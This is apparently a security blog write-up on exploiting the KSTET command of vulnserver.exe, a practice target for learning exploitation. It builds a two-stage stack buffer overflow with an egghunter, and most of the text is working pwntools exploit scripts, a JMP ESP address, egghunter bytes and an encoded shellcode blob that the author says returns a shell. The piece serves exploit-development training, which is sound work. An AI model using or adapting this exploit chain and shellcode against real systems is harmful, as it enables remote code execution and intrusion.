Exploiting vulnserver.exe — KSTET command using egghunter

6 minute read

In this write-up, I will discuss about attacking KSTET command of vulnserver.exe with egghunter.

To get started, let’s read the source code of vulnserver.

The code tells us that it only copies 100 bytes of our input (RecvBuf) to KstetBuf, and it passes KstetBuf to Function2().

Let’s inspect Function2 to have a better understanding what happens next.

The contents of KstetBuf is copied to Buffer2S without checking the length. This is where the vulnerability occurs. Since Buffer2S can only handle 60 bytes and KstetBuf can handle up to 100 bytes of input, we can smash the stack by sending a payload greater than 60 bytes.

Our initial payload should look like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "KSTET "  
payload += "A"*100

r.sendline(payload)  
r.close()

Sending this payload to vulnserver makes the program crash.

Upon checking the registers, it seems that we can now control the instruction pointer.

Let’s fuzz this program to get the offset we need to control EIP.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "KSTET "  
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"

r.sendline(payload)  
r.close()

Sending this payload gives us the unique pattern that has overwritten the instruction pointer.

We can now control the instruction pointer with 70 bytes of buffer.

Now, our issue here is that we only have 100 bytes of space for our payload, and our shellcode have a length of 300 to 400 on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.

Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.

GDOG command stores 1024 bytes of our input to GdogBuf. Given this, we need to have a 2-stage payload to make our exploit work.

- Stage 1 — injecting our payload using GDOG
- Stage 2 — jumping to shellcode using KSTET vulnerability

Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use the EGGHUNTING technique.

To give a quick background about egghunter, it is a short shellcode that locates a specific pattern (the egg) in the memory. Basically, it locates and executes the shellcode that we injected beforehand. You can read more about this egghunters on this page.

We can easily generate an egghunter shellcode with the help of mona by using !mona egg -t arzy.

Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is 32 bytes, and we have a limited space for our payload. We can only place this shellcode in the buffer before our instruction pointer control.

Our stage 2 payload structure should look like this.

payload = <buffer with egghunter shellcode> + <instruction pointer control>

Now, we need to jump backwards to our egghunter shellcode by using JMP ESP and RELATIVE SHORT JMP.

I have introduced JMP ESP and RELATIVE SHORT JMP from my previous posts, you may read about them from these posts.

Let’s check if there is an available JMP ESP instruction that we can use with the help of mona. We can simply use !mona jmp -r esp to get a list of JMP ESP instructions.

We can use 0x625011af as our JMP ESP instruction.

Next, we need to construct our RELATIVE SHORT JMP instruction. Since our egghunter is just 32 bytes and our buffer length is 70 bytes, we can try to use JMP -50.

Let’s reconstruct our payload structure, it should now look like this.

payload = <buffer with egghunter> + <jmp esp> + <jmp -50>

Combining everything above, our payload script should now look like this. Let’s use “\xcc” as our egghunter placeholder.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "KSTET "  
payload += "A"*(70 - 50 + 2) # -50 for egghunter buffer  
payload += "\xcc"*32 # egghunter placeholder  
payload += "B"*(48 - 32) # 48 (buffer for egghunter - egghunter length)  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

Upon checking, we did not exactly land on our first “\xcc”. This is because we forgot to consider the 4 bytes of JMP ESP during our payload creation.

Let’s reconstruct our payload.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "KSTET "  
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment  
payload += "\xcc"*32 # egghunter placeholder  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

We successfully landed on the location that we want. Let’s replace this with our egghunter and construct our stage 1 payload.

Our stage 1 payload should include the egg and the shellcode. The payload structure should look like this.

payload = "arzy"*2 + NOP sled + shellcode

According to the resource of egghunter above, the shellcode must be prepended with the egg two times.

You just have to remember :
– The marker needs to be unique (Usually you need to define the tag as 4 bytes inside the egg hunter, and 2 times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.

Now, let’s generate our shellcode.

To check if the egghunter can really locate our shellcode, we can add a debugging instruction (\xcc) before the NOP sled.

Let’s now combine everything above in our payload script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4"  
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"  
shellcode += b"\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae"  
shellcode += b"\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83"  
shellcode += b"\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96"  
shellcode += b"\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b"  
shellcode += b"\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51"  
shellcode += b"\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98"  
shellcode += b"\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb"  
shellcode += b"\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7"  
shellcode += b"\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2"  
shellcode += b"\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde"  
shellcode += b"\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d"  
shellcode += b"\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e"  
shellcode += b"\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d"  
shellcode += b"\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23"  
shellcode += b"\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8"  
shellcode += b"\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d"  
shellcode += b"\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5"  
shellcode += b"\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1"  
shellcode += b"\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab"  
shellcode += b"\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70"  
shellcode += b"\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b"  
shellcode += b"\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b"  
shellcode += b"\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22"  
shellcode += b"\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34"  
shellcode += b"\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3"  
shellcode += b"\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2"  
shellcode += b"\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6"  
shellcode += b"\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2"  
shellcode += b"\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a"  
shellcode += b"\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41"

payload = ""  
payload += "GDOG "  
payload += "arzy"*2  
payload += "\xcc"*4 # debugger  
payload += "\x90"*100  
payload += shellcode  
r.sendline(payload)  
r.recvline()

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "KSTET "  
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

It successfully landed on our debugger. Let’s remove this debugger for our final payload script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xbb\x0d\xb7\xd7\xc5\xdb\xd9\xd9\x74\x24\xf4"  
shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x58\x0e"  
shellcode += b"\x03\x55\xb9\x35\x30\x99\x2d\x3b\xbb\x61\xae"  
shellcode += b"\x5c\x35\x84\x9f\x5c\x21\xcd\xb0\x6c\x21\x83"  
shellcode += b"\x3c\x06\x67\x37\xb6\x6a\xa0\x38\x7f\xc0\x96"  
shellcode += b"\x77\x80\x79\xea\x16\x02\x80\x3f\xf8\x3b\x4b"  
shellcode += b"\x32\xf9\x7c\xb6\xbf\xab\xd5\xbc\x12\x5b\x51"  
shellcode += b"\x88\xae\xd0\x29\x1c\xb7\x05\xf9\x1f\x96\x98"  
shellcode += b"\x71\x46\x38\x1b\x55\xf2\x71\x03\xba\x3f\xcb"  
shellcode += b"\xb8\x08\xcb\xca\x68\x41\x34\x60\x55\x6d\xc7"  
shellcode += b"\x78\x92\x4a\x38\x0f\xea\xa8\xc5\x08\x29\xd2"  
shellcode += b"\x11\x9c\xa9\x74\xd1\x06\x15\x84\x36\xd0\xde"  
shellcode += b"\x8a\xf3\x96\xb8\x8e\x02\x7a\xb3\xab\x8f\x7d"  
shellcode += b"\x13\x3a\xcb\x59\xb7\x66\x8f\xc0\xee\xc2\x7e"  
shellcode += b"\xfc\xf0\xac\xdf\x58\x7b\x40\x0b\xd1\x26\x0d"  
shellcode += b"\xf8\xd8\xd8\xcd\x96\x6b\xab\xff\x39\xc0\x23"  
shellcode += b"\x4c\xb1\xce\xb4\xb3\xe8\xb7\x2a\x4a\x13\xc8"  
shellcode += b"\x63\x89\x47\x98\x1b\x38\xe8\x73\xdb\xc5\x3d"  
shellcode += b"\xd3\x8b\x69\xee\x94\x7b\xca\x5e\x7d\x91\xc5"  
shellcode += b"\x81\x9d\x9a\x0f\xaa\x34\x61\xd8\x15\x60\xe1"  
shellcode += b"\xee\xfe\x73\xf1\x1f\xa3\xfa\x17\x75\x4b\xab"  
shellcode += b"\x80\xe2\xf2\xf6\x5a\x92\xfb\x2c\x27\x94\x70"  
shellcode += b"\xc3\xd8\x5b\x71\xae\xca\x0c\x71\xe5\xb0\x9b"  
shellcode += b"\x8e\xd3\xdc\x40\x1c\xb8\x1c\x0e\x3d\x17\x4b"  
shellcode += b"\x47\xf3\x6e\x19\x75\xaa\xd8\x3f\x84\x2a\x22"  
shellcode += b"\xfb\x53\x8f\xad\x02\x11\xab\x89\x14\xef\x34"  
shellcode += b"\x96\x40\xbf\x62\x40\x3e\x79\xdd\x22\xe8\xd3"  
shellcode += b"\xb2\xec\x7c\xa5\xf8\x2e\xfa\xaa\xd4\xd8\xe2"  
shellcode += b"\x1b\x81\x9c\x1d\x93\x45\x29\x66\xc9\xf5\xd6"  
shellcode += b"\xbd\x49\x05\x9d\x9f\xf8\x8e\x78\x4a\xb9\xd2"  
shellcode += b"\x7a\xa1\xfe\xea\xf8\x43\x7f\x09\xe0\x26\x7a"  
shellcode += b"\x55\xa6\xdb\xf6\xc6\x43\xdb\xa5\xe7\x41"

payload = ""  
payload += "GDOG "  
payload += "arzy"*2  
payload += "\x90"*100  
payload += shellcode  
r.sendline(payload)  
r.recvline()

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "KSTET "  
payload += "A"*(70 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP alignment  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length - 4 bytes for JMP ESP)  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

Executing this payload gives us a shell.

— ar33zy